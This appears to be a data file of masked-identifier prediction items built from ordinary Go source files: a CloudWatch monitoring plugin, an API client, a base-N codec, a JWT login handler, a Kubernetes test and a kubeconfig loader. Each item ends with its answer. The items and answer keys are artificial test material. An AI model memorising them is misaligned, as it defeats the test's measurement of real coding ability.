"""") && (opts.FilePath == """") { //If accessKey or secretKey not being used presume we should use session config file, either both accessKey and secretKey or the FilePath must be provided check.ExitUnknown(""Either FilePath or AccessKey and SecretKey must be provided"") } if ((opts.AccessKey != """") && (opts.SecretKey != """")) && (opts.FilePath != """") && (opts.DebugMode) { fmt.Println(""AccessKey, SecretKey and FilePath provided, FilePath will be ignored"") } } // Saving the last service check run time to file func updateTimeState(newTime string) string { path := checkFilePath(check) file, err := os.OpenFile(path, syscall.O_RDWR|syscall.O_CREAT, 0660) if err != nil { check.ExitUnknown(err.Error()) } defer file.Close() getLock(file, path) defer releaseLock(file) fileBytes, err := ioutil.ReadFile(path) if err != nil { check.ExitUnknown(err.Error()) } file.Truncate(0) w := bufio.NewWriter(file) _, err = w.WriteString(newTime) if err != nil { check.ExitUnknown(err.Error()) } w.Flush() return string(fileBytes) } // Set the flock on the file so no other processes can read or write to it func getLock(file *os.File, path string) { err := syscall.Flock(int(file.Fd()), syscall.LOCK_EX) if err != nil { check.ExitUnknown(""Error locking temporary file: "" + path) } } // Release file lock func releaseLock(file *os.File) { syscall.Flock(int(file.Fd()), syscall.LOCK_UN) } // Tests the locations of the path to check the file can be written // Creates a file name using md5 to create a hash func checkFilePath(check *plugin.Plugin) string { var hash string fileName := ""AWS_Cloudwatch_"" hash = opts.Mode + "","" + opts.SearchName digest := make([]byte, len(hash)) copy(digest[:], hash) hash = fmt.Sprintf(""%x"", md5.Sum(digest)) fileName = fileName + string(hash[:]) + "".tmp"" env := os.Getenv(""OPSVIEW_BASE"") path := env + ""/tmp/"" + fileName _, err := os.OpenFile(path, os.O_RDONLY, 0660) path = ""/usr/local/nagios/tmp/"" + fileName _, [MASK] := os.OpenFile(path, os.O_RDONLY, 0660) if !os.IsPermission(err) { path = env + ""/tmp/"" + fileName } else if !os.IsPermission( [MASK] ) { path = ""/usr/local/nagios/tmp/"" + fileName } else { path = ""/tmp/"" + fileName _, err = os.OpenFile(path, os.O_RDONLY, 0660) if os.IsPermission(err) { check.ExitUnknown(""Error creating temp file unable to access "" + path) } } if opts.DebugMode { fmt.Println(""Storing check data in: "", path) } return path } // Sets up the check and the help text func checkPlugin() *plugin.Plugin { check := plugin.New(""check_cloudwatch"", ""v1.0.0"") check.Preamble = `Copyright (c) 2003-2017 Opsview Limited. All rights reserved. This plugin tests the metrics of AWS CloudWatch. ` check.Description = `DESCRIPTION Plugin supports following run modes: Generic setup requires -m Service check name -s statistic (Average, Minimum, Maximum, Sum, SampleCount) -n Name Space (AWS/EC2) -d Dimension (example for EC2 = InstanceId) -i Search Name (example for EC2's InstanceId = i-ad3e9b6d) S3 AWS/S3.BucketSizeBytes: The amount of data in bytes stored in a bucket in the Standard storage class AWS/S3.NumberOfObjects: The total number of objects stored in a bucket for all storage classes except for the GLACIER storage class AWS/S3.AllRequests: The total number of HTTP requests made to a bucket AWS/S3.GetRequests: The number of HTTP GET requests made for objects in a bucket AWS/S3.PutRequests: The number of HTTP PUT requests made for objects in a bucket AWS/S3.DeleteRequests: The number of HTTP DELETE requests made for objects in a bucket AWS/S3.HeadRequests: The number of HTTP HEAD requests made to a bucket AWS/S3.PostRequests: The number of HTTP POST requests made to a bucket AWS/S3.ListRequests: The number of HTTP requests that list the contents of a bucket AWS/S3.BytesDownloaded: The number bytes downloaded for requests made to a bucket, where the response includes a body AWS/S3.BytesUploaded: The number bytes uploaded to a bucket that contain a request body AWS/S3.4xxErrors: The number of HTTP 4xx client error status code requests made to a bucket AWS/S3.5xxErrors: The number of HTTP 5xx client error status code requests made to a bucket AWS/S3.FirstByteLatency: The per-request time from the complete request being received by a bucket to when the response starts to be returned AWS/S3.TotalRequestLatency: The elapsed per-request time from the first byte received to the last byte sent to a bucket ELB AWS/ELB.BackendConnectionErrors: The number of connections that were not successfully established AWS/ELB.HealthyHostCount: The number of healthy instances registered with your load balancer AWS/ELB.HTTPCode_Backend: The number of HTTP response codes generated by registered instances AWS/ELB.HTTPCode_ELB: The number of HTTP response codes of each code from the load balancer AWS/ELB.Latency: The time elapsed, in seconds, after the request leaves the load balancer until the headers of the response are received AWS/ELB.RequestCount: The number of requests completed or connections made during the specified interval AWS/ELB.SpilloverCount: The total number of requests that were rejected because the surge queue is full AWS/ELB.SurgeQueueLength: The total number of requests that are pending routing AWS/ELB.UnHealthyHostCount: The number of unhealthy instances registered with your load balancer Route53 AWS/Route53.ChildHealthCheckHealthyCount: The number health check that are healthy AWS/Route53.ConnectionTime: The average time in milliseconds that a connection was established AWS/Route53.HealthCheckPercentageHealthy: The percentage of healthy health checks AWS/Route53.HealthCheckStatus: Health check status data is viewed across all regions AWS/Route53.SSLHandshakeTime: The average time, in milliseconds, that it took health checkers to complete the SSL handshake. AWS/Route53.TimeToFirstByte: The average time, in milliseconds, that it took health checkers to receive the first byte of the response to an HTTP or HTTPS request. EC2 AWS/EC2.CPUCreditUsage: Must be T2 instance. The number of CPU credits consumed AWS/EC2.CPUCreditBalance: Must be T2 instance. The number of CPU credits available AWS/EC2.CPUUtilization: The percentage of allocated EC2 units that are in use AWS/EC2.DiskReadOps: The number of completed read operations AWS/EC2.DiskWriteOps: The number of completed write operations AWS/EC2.DiskWriteBytes: Bytes written to all instance store volumes available to the instance AWS/EC2.DiskReadBytes: Bytes read from all instance store volumes available to the instance AWS/EC2.NetworkIn: The number of bytes received by the instance AWS/EC2.NetworkOut: The number of bytes sent out on all network interfaces by the instance AWS/EC2.NetworkPacketsIn: The number of packets received on all network interfaces by the instance AWS/EC2.NetworkPacketsOut:The number of packets sent out on all network interfaces by the instance AWS/EC2.StatusCheckFailed: Reports whether the instance has passed both the instance status check and the system status check DynamoDB AWS/DynamoDB.ConditionalCheckFailedRequests: The number of failed attempts to perform conditional writes AWS/DynamoDB.ConsumedReadCapacityUnits: The number of read capacity units consumed over the specified time period AWS/DynamoDB.ConsumedWriteCapacityUnits: The number of write capacity units consumed over the specified time period AWS/DynamoDB.OnlineIndexConsumedWriteCapacity: The number of write capacity units consumed when adding a new global secondary index to a table AWS/DynamoDB.OnlineIndexPercentageProgress: The percentage of completion when a new global secondary index is being added to a table AWS/DynamoDB.OnlineIndexThrottleEvents: The number of write throttle events that occur when adding a new global secondary index to a table AWS/DynamoDB.ProvisionedReadCapacityUnits: The number of provisioned read capacity units for a table or a global secondary index AWS/DynamoDB.ProvisionedWriteCapacityUnits: The number of provisioned write capacity units for a table or a global secondary index AWS/DynamoDB.ReadThrottleEvents: Requests to DynamoDB that exceed the provisioned read capacity units for a table or a global secondary index AWS/DynamoDB.ReturnedBytes: The number of bytes returned by GetRecords operations (Amazon DynamoDB Streams) during the specified time period AWS/DynamoDB.ReturnedItemCount: The number of items returned by Query or Scan operations during the specified time period AWS/DynamoDB.ReturnedRecordsCount: The number of stream records returned by GetRecords operations (Amazon DynamoDB Streams) during the specified time period AWS/DynamoDB.SuccessfulRequestLatency: Successful requests to DynamoDB or Amazon DynamoDB Streams during the specified time period AWS/DynamoDB.SystemErrors: Requests to DynamoDB or Amazon DynamoDB Streams that generate an HTTP 500 status code during the specified time period AWS/DynamoDB.ThrottledRequests: Requests to DynamoDB that exceed the provisioned throughput limits on a resource (such as a table or an index) AWS/DynamoDB.UserErrors: Requests to DynamoDB or Amazon DynamoDB Streams that generate an HTTP 400 status code during the specified time period AWS/DynamoDB.WriteThrottleEvents: Requests to DynamoDB that exceed the provisioned write capacity units for a table or a global secondary index RDS AWS/RDS.BinLogDiskUsage: The amount of disk space occupied by binary logs on the master AWS/RDS.CPUUtilization: The percentage of CPU utilization AWS/RDS.CPUCreditUsage: Must be T2 instance. The number of CPU credits consumed by the instance AWS/RDS.CPUCreditBalance: Must be T2 instance. The number of CPU credits available for the instance to burst beyond its base CPU utilization AWS/RDS.DatabaseConnections: The number of database connections in use AWS/RDS.DiskQueueDepth: The number of outstanding IOs (read/write requests) waiting to access the disk AWS/RDS.FreeableMemory: The amount of available random access memory AWS/RDS.FreeStorageSpace: The amount of available storage space AWS/RDS.ReplicaLag: The amount of time a Read Replica DB instance lags behind the source DB instance AWS/RDS.SwapUsage: The amount of swap space used on the DB instance AWS/RDS.ReadIOPS: The average number of disk I/O operations per second AWS/RDS.WriteIOPS: The average number of disk I/O operations per second AWS/RDS.ReadLatency: The average amount of time taken per disk I/O operation AWS/RDS.WriteLatency: The average amount of time taken per disk I/O operation AWS/RDS.ReadThroughput: The average number of bytes read from disk per second AWS/RDS.WriteThroughput: The average number of bytes written to disk per second AWS/RDS.NetworkReceiveThroughput: The incoming (Receive) network traffic on the DB instance, including both customer database traffic and Amazon RDS traffic used for monitoring and replication AWS/RDS.NetworkTransmitThroughput: The outgoing (Transmit) network traffic on the DB instance, including both customer database traffic and Amazon RDS traffic used for monitoring and replication AutoScaling AWS/AutoScaling.GroupMinSize: The minimum size of the Auto Scaling group AWS/AutoScaling.GroupMaxSize: The maximum size of the Auto Scaling group AWS/AutoScaling.GroupDesiredCapacity: The number of instances that the Auto Scaling group attempts to maintain AWS/AutoScaling.GroupInServiceInstances: The number of instances that are running as part of the Auto Scaling group. This metric does not include instances that are pending or terminating AWS/AutoScaling.GroupPendingInstances: The number of instances that are pending. A pending instance is not yet in service. This metric does not include instances that are in service or terminating AWS/AutoScaling.GroupStandbyInstances: The number of instances that are in a Standby state. Instances in this state are still running but are not actively in service AWS/AutoScaling.GroupTerminatingInstances: The number of instances that are in the process of terminating. This metric does not include instances that are in service or pending AWS/AutoScaling.GroupTotalInstances: The total number of instances in the Auto Scaling group. This metric identifies the number of instances that are in service, pending, and terminating ` return check } ",err1 229,"// Copyright 2023 cputil Author. All Rights Reserved. // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package areas import ( ""errors"" ""github.com/go-the-way/cputil"" ""net/http"" ""net/url"" q ""github.com/google/go-querystring/query"" ) type ( ListReq struct { Search string `url:""search,omitempty""` // 搜索 ListType string `url:""list_type,omitempty""` // 获取类型(all,page),all会忽略页数直接返回所有 IncludeNode string `url:""include_node,omitempty""` // 是否获取区域下所有节点信息(1获取0不获取) Page string `url:""page,omitempty""` PerPage string `url:""per_page,omitempty""` Orderby string `url:""orderby,omitempty""` // 排序(id,name,ip,node_num,store_num,cloud_num,ip_num,status,ip_used_num,ip_free_num) Sort string `url:""sort,omitempty""` } ListResp struct { Data []struct { Id uint `json:""id""` // 区域ID Name string `json:""name""` // 区域名 ShortName string `json:""short_name""` Ip string `json:""ip""` Country int `json:""country""` Username string `json:""username""` Password string `json:""""` Status int `json:""status""` VncIp string `json:""vnc_ip""` VncPrivateIp string `json:""vnc_private_ip""` VncDomain string `json:""vnc_domain""` VncSslPem string `json:""vnc_ssl_pem""` VncSslKey string `json:""vnc_ssl_key""` VncSwitch int `json:""vnc_switch""` AlternateIp string `json:""alternate_ip""` NodeNum int `json:""node_num""` StoreNum int `json:""store_num""` CloudNum int `json:""cloud_num""` CountryName string `json:""country_name""` CountryCode string `json:""country_code""` Removable bool `json:""removable""` HostSumOn int `json:""host_sum_on""` HostSumOff int `json:""host_sum_off""` IpUsedNum int `json:""ip_used_num""` IpFreeNum int `json:""ip_free_num""` IpNum int `json:""ip_num""` HostSumOther int `json:""host_sum_other""` } `json:""data""` } ) func (r *ListReq) Url() string { return ""/v1/areas"" } func (r *ListReq) Method() string { return http.MethodGet } func (r *ListReq) Header() http.Header { return nil } func (r *ListReq) Values() ( [MASK] url.Values) { [MASK] , _ = q.Values(r); return } func (r *ListReq) Form() (form url.Values) { return } func (r *ListReq) Body() any { return nil } // List 区域列表 func List(ctx *cputil.Context, req *ListReq) (*ListResp, error) { if resp, err := cputil.Execute[*ListReq, *ListResp](ctx, req); err != nil { return nil, err } else if e := resp.Error; e != """" { return nil, errors.New(e) } else { return resp.Result, err } } ",values 230,"package base_n import ( ""bytes"" ""crypto/sha256"" ""fmt"" ""math"" ""math/big"" ) var Alphabets = map[int]string{ 2: ""01"", 8: ""01234567"", 11: ""0123456789a"", 16: ""0123456789abcdef"", 32: ""0123456789ABCDEFGHJKMNPQRSTVWXYZ"", 36: ""0123456789abcdefghijklmnopqrstuvwxyz"", 58: ""123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"", 62: ""0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"", 64: ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"", 67: ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.!~"", } type CodecDirection struct { from_base int to_base int from_log int to_log int } func logInt(base int) int { return int(math.Log(float64(base)) * 10000) } func Direction(from_base int, to_base int) CodecDirection { return CodecDirection{from_base, to_base, logInt(from_base), logInt(to_base)} } func (cd *CodecDirection) approximateSize(size int) int { return 1 + size*cd.from_log/cd.to_log } func (cd *CodecDirection) divmod(digits []byte, startAt int) int { remaining := 0 for i := startAt; i < len(digits); i++ { num := cd.from_base*remaining + int(digits[i]) digits[i] = byte(num / cd.to_base) remaining = num % cd.to_base } return remaining } type Alphabet struct { key []byte index map[byte]byte encode_direction CodecDirection decode_direction CodecDirection } var alphabet_cache = make(map[string]*Alphabet) func GetAlphabetById(id int) (*Alphabet, error) { return GetAlphabet(Alphabets[id]) } func GetAlphabet(alphabet string) (*Alphabet, error) { abc, ok := alphabet_cache[alphabet] if !ok { base := len(alphabet) key := make([]byte, base) index := make(map[byte]byte) for i := 0; i < base; i++ { if alphabet[i] >= 0 && alphabet[i] < 128 { ch := alphabet[i] key[i] = ch index[ch] = byte(i) } else { return nil, fmt.Errorf(""Non ASCII character %#x in alphabet at:%d"", alphabet[i], i) } } abc = &Alphabet{key, index, Direction(256, base), Direction(base, 256)} } return abc, nil } func (abc *Alphabet) toDigits(encoded string) []byte { var count = len(encoded) var digits = make([]byte, count) for i := 0; i < count; i++ { digits[i] = abc.index[byte(encoded[i])] } return digits } func (abc *Alphabet) toChars(digits []byte) string { var count = len(digits) var chars = make([]rune, count) for i := 0; i < count; i++ { chars[i] = rune(abc.key[digits[i]]) } return string(chars) } func sha256x2(data []byte) []byte { step1 := sha256.Sum256(data) step2 := sha256.Sum256(step1[:]) return step2[:] } func countLeadingZeros(digits []byte) int { z := 0 for z < len(digits) && digits[z] == 0 { z++ } return z } type Codec struct { abc *Alphabet cloneBuffer bool repackDigits func(CodecDirection, []byte, []byte, int) int } type CodecId int var CodecSettings = []struct { name string cloneBuffer bool repackDigits func(CodecDirection, []byte, []byte, int) int }{ {""Loop"", true, repackWithLoop}, {""BigInt"", false, repackWithBigInt}, } const ( Loop CodecId = iota BigInt ) func (cid CodecId) String() string { return CodecSettings[cid].name } func (cid CodecId) NewCodec(abc *Alphabet) *Codec { settings := CodecSettings[cid] return &Codec{abc, settings.cloneBuffer, settings.repackDigits} } func (cc *Codec) codeDigits(digits []byte, direction CodecDirection) []byte { if len(digits) == 0 { return digits } leadingZeros := countLeadingZeros(digits) codeSize := direction.approximateSize(len(digits) - leadingZeros) out := make([]byte, leadingZeros+codeSize) firstNonZero := cc.repackDigits(direction, digits, out, leadingZeros) if firstNonZero == leadingZeros { return out } return out[firstNonZero-leadingZeros:] } func repackWithLoop(direction CodecDirection, from []byte, to []byte, leadingZeros int) int { startAt := leadingZeros j := len(to) firstNonZero := j for startAt < len(from) && leadingZeros < j { mod := direction.divmod(from, startAt) if from[startAt] == 0 { startAt++ } j-- to[j] = byte(mod) if mod != 0 { firstNonZero = j } } return firstNonZero } var bigZero = big.NewInt(0) func repackWithBigInt(direction CodecDirection, from []byte, to []byte, leadingZeros int) int { var base1 = big.NewInt(int64(direction.from_base)) var base2 = big.NewInt(int64(direction.to_base)) var acc = big.NewInt(0) for i := leadingZeros; i < len(from); i++ { acc.Mul(acc, base1) acc.Add(acc, big.NewInt(int64(from[i]))) } j := len(to) firstNonZero := j bigMod := big.NewInt(0) for acc.Cmp(bigZero) > 0 { acc.DivMod(acc, base2, bigMod) mod := byte(bigMod.Int64()) j-- to[j] = mod if mod != 0 { firstNonZero = j } } return firstNonZero } func (cc *Codec) encodeDigits(digits []byte) string { return cc.abc.toChars(cc.codeDigits(digits, cc.abc.encode_direction)) } func CopyBytes(src []byte, dest []byte, offset int) []byte { srcLen := len(src) destLen := len(dest) for i := 0; i < srcLen; i++ { j := offset + i if j < destLen { dest[j] = src[i] } else { break } } return dest } func (cc *Codec) Encode(buffer []byte) string { if !cc.cloneBuffer { return cc.encodeDigits(buffer) // cloning not necessary for BigInt implementation } return cc.encodeDigits(CopyBytes(buffer, make([]byte, len(buffer)), 0)) } func (cc *Codec) Decode(text string) []byte { return cc.codeDigits(cc.abc.toDigits(text), cc.abc.decode_direction) } func (cc *Codec) EncodeCheck(buffer []byte) string { rawLen := len(buffer) [MASK] := CopyBytes(buffer, make([]byte, rawLen+4), 0) CopyBytes(sha256x2(buffer), [MASK] , rawLen) return cc.encodeDigits( [MASK] ) } func (cc *Codec) DecodeCheck(text string) ([]byte, error) { buffer := cc.Decode(text) payloadLen := len(buffer) - 4 out := buffer[:payloadLen] sha := sha256x2(out) if !bytes.Equal(sha[:4], buffer[payloadLen:]) { return nil, fmt.Errorf(""Checksum does not match"") } return out, nil } ",bufWithCheck 231,"package main import ( ""bytes"" ""encoding/json"" ""fmt"" ""io/ioutil"" ""net/http"" ) type Message struct { Message []string `json:""Message""` } type Response struct { Message string } func main() { args := []string{""/bin/cat /var/tmp/1.txt >> /var/tmp/intermediate.txt"", ""/bin/cat /var/tmp/2.txt >> /var/tmp/intermediate.txt"", ""/bin/cat /var/tmp/3.txt >> /var/tmp/intermediate.txt"", ""/bin/cat /var/tmp/intermediate.txt | /bin/grep abe > /var/tmp/grep-result.txt"", ""/bin/rm /var/tmp/intermediate.txt""} msg := &Message{Message: args} [MASK] , err := json.Marshal(msg) if err != nil { fmt.Println(err.Error()) return } res, err := http.Post(""http://127.0.0.1:8888/json"", ""application/json"", bytes.NewBuffer( [MASK] )) if err != nil { fmt.Println(err.Error()) return } if res.StatusCode != http.StatusOK { fmt.Printf(""Status code = %s"", res.StatusCode) return } body, err := ioutil.ReadAll(res.Body) if err != nil { fmt.Printf(""%s"", body) fmt.Println(err.Error()) return } output := Response{} err = json.Unmarshal(body, &output) if err != nil { fmt.Println(err.Error()) return } fmt.Printf(""%#v\n"", output) } ",intput 232,"/* Copyright 2018 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // These tests verify the manifest files in this package and the // addons directory are in sync. package crd_test import ( ""io/ioutil"" ""os"" ""path/filepath"" ""testing"" ""k8s.io/apimachinery/pkg/util/diff"" ) func TestBootstrapCRDs(t *testing.T) { verifyCopiesAreInSync( t, ""csidriver.yaml"", /* filename */ ""manifests"", /* sourceOfTruthDir */ []string{""../../../../../../cluster/addons/storage-crds""}, /* copyDirs */ ) verifyCopiesAreInSync( t, ""csinodeinfo.yaml"", /* filename */ ""manifests"", /* sourceOfTruthDir */ []string{""../../../../../../cluster/addons/storage-crds""}, /* copyDirs */ ) } // verifyCopiesAreInSync fails if any copies are different from source of truth. func verifyCopiesAreInSync(t *testing.T, filename string, sourceOfTruthDir string, copyDirs []string) { sourceOfTruthFilename := filepath.Join(sourceOfTruthDir, filename) if len(copyDirs) <= 0 { t.Fatalf(""copyDirs is empty. There are no copies to validate."") } [MASK] , err := ioutil.ReadFile(sourceOfTruthFilename) if err != nil { t.Fatal(err) } for _, copyDir := range copyDirs { copyFilename := filepath.Join(copyDir, filename) actualYAML, err := ioutil.ReadFile(copyFilename) if err != nil { t.Fatal(err) } if string(actualYAML) != string( [MASK] ) { t.Errorf(""Data in %q does not match source of truth in %q."", copyFilename, sourceOfTruthFilename) const updateEnvVar = ""UPDATE_CSI_CRD_FIXTURE_DATA"" if os.Getenv(updateEnvVar) == ""true"" { if err := ioutil.WriteFile(copyFilename, []byte( [MASK] ), os.FileMode(0755)); err == nil { t.Logf(""Updated data in %s"", copyFilename) t.Logf(""Verify the diff, commit changes, and rerun the tests"") } else { t.Logf(""Could not update data in %s: %v"", copyFilename, err) } } else { t.Logf(""Diff between source of truth data and copy data in %s:\n-------------\n%s"", copyFilename, diff.StringDiff(string(actualYAML), string( [MASK] ))) t.Logf(""If the change is expected, re-run with %s=true to update the copy data"", updateEnvVar) } } } } ",expectedYAML 233,"package handlers import ( ""encoding/json"" ""net/http"" ""time"" ""github.com/dgrijalva/jwt-go"" ""golang.org/x/crypto/bcrypt"" ""open-go-shorten.eu/config"" ""open-go-shorten.eu/models"" ) var jwtSecret string var username string var password string func InitAuth(c *config.Config) { jwtSecret = c.Auth.JwtSecret username = c.Auth.Username password = c.Auth.Password } func Login(w http.ResponseWriter, r *http.Request) { var user models.User json.NewDecoder(r.Body).Decode(&user) // Verify credentials if user.Username != username || nil != bcrypt.CompareHashAndPassword([]byte(password), []byte(user.Password)) { http.Error(w, ""Invalid credentials"", http.StatusUnauthorized) return } // Create JWT token := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{ ""username"": user.Username, ""exp"": time.Now().Add(time.Hour * 24).Unix(), }) [MASK] , err := token.SignedString([]byte(jwtSecret)) if err != nil { http.Error(w, ""Error creating JWT"", http.StatusInternalServerError) return } // Return JWT json.NewEncoder(w).Encode(map[string]string{""token"": [MASK] }) } ",tokenString 234,"package uk8s import ( ""encoding/base64"" ""io/ioutil"" ""log"" ""os"" ""strings"" ""github.com/costinm/meshauth"" ""sigs.k8s.io/yaml"" ) // Kubeconfig support, for bootstraping from .kubeconfig or in-cluser k8s. // Auth storage is loosely based on K8S kube.config: // - no yaml - all files must be converted to JSON ( to avoid dep on yaml lib ) // Caller can read yaml and convert before calling this. // - default config is kube.json // - expects that the first user is the 'default', has client cert // - 'context' is the used to locate the URL, cert, user. // ""Clusters"" are known nodes. // WorkloadID can be the public-key based WorkloadID, or a hostname or ""default"" // // ""User"" has credentials - ""default"" is the workload WorkloadID. // // ""Context"" pairs a MeshCluster with a User. // ""default"" is the upstream / primary server // func LoadKubeconfig() (*KubeConfig, error) { kc := os.Getenv(""KUBECONFIG"") if kc == """" { kc = os.Getenv(""HOME"") + ""/.kube/config"" } kconf := &KubeConfig{} var [MASK] []byte if kc != """" { if _, err := os.Stat(kc); err == nil { // Explicit kube config, using it. // ""sigs.k8s.io/yaml"" [MASK] , err = ioutil.ReadFile(kc) if err != nil { return nil, err } err := yaml.Unmarshal( [MASK] , kconf) if err != nil { return nil, err } return kconf, nil } } return nil, nil } // InitK8S will detect k8s env, and if present will load the mesh defaults and init // authenticators. func InitK8S(ma *meshauth.MeshAuth, kc *KubeConfig) (*meshauth.K8STokenSource, error) { var err error var def *meshauth.K8STokenSource if kc != nil { def, err = addKubeConfigClusters(ma, kc) if err != nil { return nil, err } } return def, nil } // AddKubeConfigClusters extracts supported RestClusters from the kube config, returns the default and the list // of clusters by location. // GKE naming conventions are assumed for extracting the location. // // URest is used to configure TokenProvider and as factory for the http client. // Returns the default client and the list of non-default clients. func addKubeConfigClusters(ma *meshauth.MeshAuth, kc *KubeConfig) (*meshauth.K8STokenSource, error) { var cluster *KubeCluster var user *KubeUser if kc == nil || len(kc.Clusters) == 0 || len(kc.Users) == 0 || kc.CurrentContext == """" { return nil, nil } for _, cc := range kc.Contexts { cc := cc // Find the cluster and user for the context for _, c := range kc.Clusters { c := c if c.Name == cc.Context.Cluster { cluster = &c.Cluster } } for _, c := range kc.Users { c := c if c.Name == cc.Context.User { user = &c.User } } rc, err := kubeconfig2Rest(cc.Context.Cluster, cluster, user, cc.Context.Namespace) if err != nil { log.Println(""Skipping incompatible cluster "", cc.Context.Cluster, err) } else { ma.Dst[cc.Name] = rc.Dest ma.AuthProviders[cc.Name] = rc } } defc := ma.AuthProviders[kc.CurrentContext].(*meshauth.K8STokenSource) parts := strings.Split(kc.CurrentContext, ""_"") if parts[0] == ""gke"" { ma.Location = parts[2] ma.ProjectID = parts[1] ma.Namespace = defc.Namespace } if ma.Namespace == """" { ma.Namespace = ""default"" } return defc, nil } func kubeconfig2Rest(name string, cluster *KubeCluster, user *KubeUser, ns string) (*meshauth.K8STokenSource, error) { if ns == """" { ns = ""default"" } rc := &meshauth.K8STokenSource{ Dest: &meshauth.Dest{ Addr: cluster.Server, InsecureSkipTLSVerify: cluster.InsecureSkipTLSVerify, }, } if user.Token != """" { rc.TokenProvider = &meshauth.StaticTokenSource{Token: user.Token} } if user.TokenFile != """" { rc.TokenProvider = &meshauth.FileTokenSource{TokenFile: user.TokenFile} } // May be useful to AddService: strings.HasPrefix(name, ""gke_"") || //if user.AuthProvider.Name != """" { // rc.TokenProvider = uk.AuthProviders[user.AuthProvider.Name] // if rc.TokenProvider == nil { // return nil, errors.New(""Missing provider "" + user.AuthProvider.Name) // } //} // TODO: support client cert, token file (with reload) if cluster.CertificateAuthority != """" { caCert, err := os.ReadFile(cluster.CertificateAuthority) if err != nil { return nil, err } rc.CACertPEM = caCert } caCert, err := base64.StdEncoding.DecodeString(string(cluster.CertificateAuthorityData)) if err != nil { return nil, err } rc.CACertPEM = caCert return rc, nil } func KubeFromEnv(ma *meshauth.MeshAuth) (*meshauth.K8STokenSource, error) { kc, err := LoadKubeconfig() if err != nil { return nil, err } return InitK8S(ma, kc) } // KubeConfig is the JSON representation of the kube config. // The format supports most of the things we need and also allows connection to real k8s clusters. // UGate implements a very light subset - should be sufficient to connect to K8S, but without any // generated stubs. Based in part on https://github.com/ericchiang/k8s (abandoned), which is a light // client. type KubeConfig struct { // Must be v1 ApiVersion string `json:""apiVersion""` // Must be Config Kind string `json:""kind""` // Clusters is a map of referencable names to cluster configs Clusters []KubeNamedCluster `json:""clusters""` // AuthInfos is a map of referencable names to user configs Users []KubeNamedUser `json:""users""` // Contexts is a map of referencable names to context configs Contexts []KubeNamedContext `json:""contexts""` // CurrentContext is the name of the context that you would like to use by default CurrentContext string `json:""current-context"" yaml:""current-context""` } type KubeNamedCluster struct { Name string `json:""name""` Cluster KubeCluster `json:""cluster""` } type KubeNamedUser struct { Name string `json:""name""` User KubeUser `json:""user""` } type KubeNamedContext struct { Name string `json:""name""` Context Context `json:""context""` } type KubeCluster struct { // LocationOfOrigin indicates where this object came from. It is used for round tripping config post-merge, but never serialized. // +k8s:conversion-gen=false //LocationOfOrigin string // Server is the address of the kubernetes cluster (https://hostname:port). Server string `json:""server""` // InsecureSkipTLSVerify skips the validity check for the server's certificate. This will make your HTTPS connections insecure. // +optional InsecureSkipTLSVerify bool `json:""insecure-skip-tls-verify,omitempty""` // CertificateAuthority is the path to a cert file for the certificate authority. // +optional CertificateAuthority string `json:""certificate-authority,omitempty"" yaml:""certificate-authority""` // CertificateAuthorityData contains PEM-encoded certificate authority certificates. Overrides CertificateAuthority // +optional CertificateAuthorityData string `json:""certificate-authority-data,omitempty"" yaml:""certificate-authority-data""` // Extensions holds additional information. This is useful for extenders so that reads and writes don't clobber unknown fields // +optional //Extensions map[string]runtime.Object `json:""extensions,omitempty""` } // KubeUser contains information that describes identity information. This is use to tell the kubernetes cluster who you are. type KubeUser struct { // LocationOfOrigin indicates where this object came from. It is used for round tripping config post-merge, but never serialized. // +k8s:conversion-gen=false //LocationOfOrigin string // ClientCertificate is the path to a client cert file for TLS. // +optional ClientCertificate string `json:""client-certificate,omitempty""` // ClientCertificateData contains PEM-encoded data from a client cert file for TLS. Overrides ClientCertificate // +optional ClientCertificateData []byte `json:""client-certificate-data,omitempty""` // ClientKey is the path to a client key file for TLS. // +optional ClientKey string `json:""client-key,omitempty""` // ClientKeyData contains PEM-encoded data from a client key file for TLS. Overrides ClientKey // +optional ClientKeyData []byte `json:""client-key-data,omitempty""` // Token is the bearer token for authentication to the kubernetes cluster. // +optional Token string `json:""token,omitempty""` // TokenFile is a pointer to a file that contains a bearer token (as described above). If both Token and TokenFile are present, Token takes precedence. // +optional TokenFile string `json:""tokenFile,omitempty""` // Impersonate is the username to act-as. // +optional //Impersonate string `json:""act-as,omitempty""` // ImpersonateGroups is the groups to imperonate. // +optional //ImpersonateGroups []string `json:""act-as-groups,omitempty""` // ImpersonateUserExtra contains additional information for impersonated user. // +optional //ImpersonateUserExtra map[string][]string `json:""act-as-user-extra,omitempty""` // Username is the username for basic authentication to the kubernetes cluster. // +optional Username string `json:""username,omitempty""` // Password is the password for basic authentication to the kubernetes cluster. // +optional Password string `json:""password,omitempty""` // AuthProvider specifies a custom authentication plugin for the kubernetes cluster. // +optional AuthProvider UserAuthProvider `json:""auth-provider,omitempty"" yaml:""auth-provider,omitempty""` // Exec specifies a custom exec-based authentication plugin for the kubernetes cluster. // +optional //Exec *ExecConfig `json:""exec,omitempty""` // Extensions holds additional information. This is useful for extenders so that reads and writes don't clobber unknown fields // +optional //Extensions map[string]runtime.Object `json:""extensions,omitempty""` } type UserAuthProvider struct { Name string `json:""name,omitempty""` } // Context is a tuple of references to a cluster (how do I communicate with a kubernetes cluster), a user (how do I identify myself), and a namespace (what subset of resources do I want to work with) type Context struct { // Cluster is the name of the cluster for this context Cluster string `json:""cluster""` // AuthInfo is the name of the authInfo for this context User string `json:""user""` // Namespace is the default namespace to use on unspecified requests // 